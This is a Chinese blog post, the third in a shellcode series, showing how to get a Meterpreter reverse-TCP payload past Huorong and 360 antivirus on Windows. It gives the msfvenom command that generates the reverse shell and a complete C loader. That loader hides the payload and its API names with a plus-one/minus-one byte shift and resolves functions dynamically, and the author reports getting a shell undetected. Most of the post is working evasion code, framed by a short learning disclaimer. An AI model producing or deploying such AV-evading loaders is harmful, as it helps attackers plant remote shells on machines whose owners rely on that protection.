#> RESTKHZ _

休止千鹤 | 我依旧是一名平凡的学生

Shellcode初探[3]: Meterpreter shellcode在windows中免杀, 绕过杀软

  休止千鹤  |    19/04/2023

前言

我们已经有两篇文章介绍了shellcode, 并且简单探讨了如何用C加载shellcode和shikata_ga_nai编码的特征.

如果你不知道什么是shellcode,绕过杀毒软件的思路是什么,特别推荐你去看看前文:

Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode
Shellcode初探[2]: 构造meterpreter shellcode并简单免杀(Linux)

不过以上两篇基本还是在Linux操作系统中. 实战中我们遇到的系统更多是windows. 而且windows中的情况更加多变: 人们经常使用各种各样的反病毒软件.

这篇文章, 很抱歉, 也算我自己写的时候有些素材没有整理到位, 起初我只测了火绒VirusTotal(因为我Windows的机器上只有火绒), 但是在VirusTotal上杀软查杀非常诡异, 而且学习很快. 这篇文章我写了几天, 第一天时能VT能绕过很多的, 两天后再想起截图效果就很差了. 我打算按照:

  1. Meterpreter shellcode直接被检测出
  2. 我们简单处理Meterpreter shellcode做到一定成效
  3. 使用动态加载隐藏调用函数

这样的顺序撰写文章, 介绍常用的免杀技术. 可惜, Windows中哪怕是Hello world程序都可能被在VirusTotal上查杀.比如下图, xor.exe只是一个处理字符串的程序, 尽管我删掉了敏感明文, 甚至删除掉了xor操作换为凯撒位移, 什么都不做尽管如此还是有18/70报毒. 这样我们难以通过VirusTotal的检测来判断我们的处理是否有效. 导致休止千鹤被自己打脸频发, 场面一度尴尬.

xor_virustotal

最后我被迫无奈在虚拟机上装了火绒360作为测试对象.

(免责: 这篇文章涉及到的内容当前有效, 但是都是公开的基本技术, 本文只是作为学习介绍这种思路的一个例子. 而且我已经提交到了VirusTotal.)

C编写Meterpreter加载器

首先我们需要用msfvenom生成一个shellcode.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.151 LPORT=3333 -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -i 5 -f c > meterpreter.c

然后我们编写一个针对Windows的加载器, 和前文Linux的加载器思路类似. 只不过调用的函数不同.
上文中, 我们:

  1. 用mmap获取一块内存
  2. 用memcpy把shellcode放进刚刚mmap获取的内存
  3. 用函数指针完成调用, 执行shellcode内存区域的shellcode
    这里:
  4. 我们用VirtualAlloc获取内存
  5. 同样用memcpy做同样的事
  6. 用CreateThread运行那块内存

我C基础比较马虎, 轻喷.

#include <stdio.h>
#include <string.h>
#include <windows.h>

int main() {
    // 将上面的汇编代码编译为机器代码,并将其存储在一个字节数组中
    unsigned char shellcode[] = "\xbd\x62\x67......";

    size_t length = sizeof(shellcode);

    for(int i=0; i<length ; i++){
        printf("\\x%x",shellcode[i]);
    }

    // 为shellcode分配内存
    void *exec_shellcode = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // 将shellcode复制到新分配的内存中
    memcpy(exec_shellcode, shellcode, length);
    // 创建一个新的线程来执行shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_shellcode, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("创建线程失败,错误代码: %u\n", GetLastError());
        return 1;
    }

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    // 释放分配的内存
    VirtualFree(exec_shellcode, 0, MEM_RELEASE);

    return 0;
}

编译这个代码, exe一生成火绒就报毒.

VirusTotal更是给出了37/70的”好成绩”

尝试绕过杀毒软件

还记得在前一篇文中我们的一个迷之操作吗? 因为我们发现即便excellent如shikata_ga_nai, 处理过的shellcode依旧是有特征的. 毕竟Meterpretershikata_ga_nai已经是重点关注对象了, 不处理的话肯定不行.
于是我们上一篇文中, 提前把shellcode每个字节减去1, 然后再在C代码memcpy()之前把shellcode每个字节加上1还原回来.
这个方法让Linux的Meterpreter直接通过所有杀毒软件查杀.

搞乱shellcode, 隐蔽特征总是很有效的.(然后就打脸了)

浑水摸鱼: 加一减一大法

提前用python处理好shellcode, 然后在加载器C代码里加一个函数

void increment_hex_string(unsigned char *hex_string, size_t len) {
    for (size_t i = 0; i < len; i++) {
        hex_string[i]++;
    }
}

并且记得在memcpy()之前加上…编译…
然后火绒立刻报毒,
不仅如此, 我们看看VirusTotal:
enc_shellcode_VirusTotal

休止千鹤啊你这脸算是打的啪啪响了.

暗渡陈仓: 动态加载

像上面的代码, 我们直接调用了系统函数. 这样的话会在PE文件中的头部留下我们这个程序需要调用的外部函数.

正如之前一样, 我们可以用工具cutter一探究竟.
我们使用之前编译的exe直接拖进cutter.

import_table_cutter

在这里我们能看到, 导入表中有VirtualAlloc函数. 我们还能看见在导入表(Import Table)中的地址, 我们直接跟进Hexdump. 哦, 原来这里是导入地址表(Import Address Table)

hexdump_cutter

眼尖的话, 你还能看到下面有ASCII的VirtualAlloc. 那里是导入表的名称表(Import Name Table). 关于IAT和INT的关系这里就不展开了.

我们发现: 这个二进制文件里包括了我们导入函数的字符串(这是个伏笔, 一个坑…)
而且我们还能找到我们代码里调用的其他几个函数, 这几个函数同时出现, 就很可疑了.

怎么办呢? 我们需要掩盖我们的意图, 那么, 我们可以动态调用这些函数. 下面是一个简单的例子, 和我们正在做的事儿没啥关系. 接下来我们看看怎么动态加载.

  1. 我们使用LoadLibrary动态加载了kernel32.dll.
  2. GetProcAddress获取VirtualAlloc函数地址.
  3. 定义一个VIRTUALALLOC类型的函数指针, 指向Kernel32.dll中的VirtualAlloc函数地址. 并且命名为VirtualAllocFunc
  4. 我们用VirtualAllocFunc试着分配了一点内存,
typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);

HMODULE kernel32_dll = LoadLibrary("kernel32.dll");

VIRTUALALLOC VirtualAllocFunc = (VIRTUALALLOC)GetProcAddress(kernel32_dll, "VirtualAlloc");

SIZE_T allocation_size = 4096;
LPVOID allocated_memory = VirtualAllocFunc(NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

我修改了代码, 并且编译.
你们猜怎么着?
一编译出来就被火绒干掉了. VirusTotal忘了截图. 反正结果不怎么好.
接下来就是一点一点尝试, 比如删掉一段代码, 看看有什么反应. 其间改了好几次, 每一次修改的源码也不可能保存. 反正问题出的莫名其妙. 删掉最有嫌疑的, 没用. 随便删删, 又好了.

甚至写了一个xor混淆, 看看xor有没有用, 结果是几乎没啥变化.

然后突然想到, woc, 这不是还有字符串没处理嘛?

看上面的代码, 出现了VirtualAlloc. 然后我拿去混淆了. 就在这个时候, 混淆器也被报毒了.
感觉顿时有了线索. 一通修改后果然好了.
原来火绒会检索整个二进制文件, 查找有没有出现过敏感函数名称.
最后写了一个很难看的代码混淆了所有字符串解决了这个问题.(没错还是加一减一大法)

#include <stdio.h>
#include <string.h>
#include <windows.h>

typedef void* (WINAPI *VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef HANDLE (WINAPI *CREATETHREAD)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef void* (*MEMCPY_FUNC)(void* dest, const void* src, size_t count);

void increment_hex_string(unsigned char *hex_string, size_t len) {
    for (size_t i = 0; i < len; i++) {
        hex_string[i]++;
    }
}

char *shift_string_by_one(const char *input) {
    size_t len = strlen(input);
    char *output = (char *)malloc(len + 1);
    if (output == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    for (size_t i = 0; i < len; ++i) {
        output[i] = input[i] + 1;
    }
    output[len] = '\0';

    return output;
}

int main() {
    unsigned char shellcode[] = "\xda\xca......blabla";

    char *va = "Uhqst`k@kknb";
    char *ct = "Bqd`sdSgqd`c";
    char *mc = "ldlbox";
    char *k32 = "jdqmdk21-ckk"; 
    char *msvcrt = "lrubqs-ckk";

    va = shift_string_by_one(va);
    ct = shift_string_by_one(ct);
    mc = shift_string_by_one(mc);
    k32 = shift_string_by_one(k32);
    msvcrt = shift_string_by_one(msvcrt); 

    size_t length = sizeof(shellcode);
    increment_hex_string(shellcode, length);

    HMODULE kernel32_dll = LoadLibrary(k32);

    HMODULE msvcrt_dll = LoadLibrary(msvcrt);

    VIRTUALALLOC VIALFunc = (VIRTUALALLOC)GetProcAddress(kernel32_dll, va);

    CREATETHREAD CreateThreadFunc = (CREATETHREAD)GetProcAddress(kernel32_dll, ct);
    if (CreateThreadFunc == NULL) {
        printf("Failed to find CT function\n");
        FreeLibrary(kernel32_dll);
        return 1;
    }

    MEMCPY_FUNC memcpy_func = (MEMCPY_FUNC)GetProcAddress(msvcrt_dll, mc);
    if (memcpy_func == NULL) {
        printf("Failed to find MC function\n");
        FreeLibrary(msvcrt_dll);
        return 1;
    }

    for(int i=0; i<length ; i++){
        printf("\\x%x",shellcode[i]);
    }

    void *exec_shellcode = VIALFunc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec_shellcode, shellcode, length);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_shellcode, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("创建线程失败: %u\n", GetLastError());
        return 1;
    }

    WaitForSingleObject(hThread, INFINITE);
    VirtualFree(exec_shellcode, 0, MEM_RELEASE);
    return 0;
}

最终结果:

meterpreter_getshell_and_bypass

但是, VT的结果貌似就比较难看了.
当初我记得还是十几, 和前文那个xor.exe差不多, 这会就到24/70

总结

免杀就是一场猫鼠游戏.
本文主要提供思路, 我们可以通过加密, 混淆来处理shellcode. 同时我们也需要关心如何让自己的程序看起来不是那么可疑. 文中我们用了效果马马虎虎的”加一减一”和动态加载就是例子. 尽管这些技术远远不算先进, 但是单凭结果, 最终能绕过这两款杀软, 我还是满意的.

下一篇文章讲什么呢? 我还没想好…


Views:

 Comments


(no comments...maybe you can be the first?)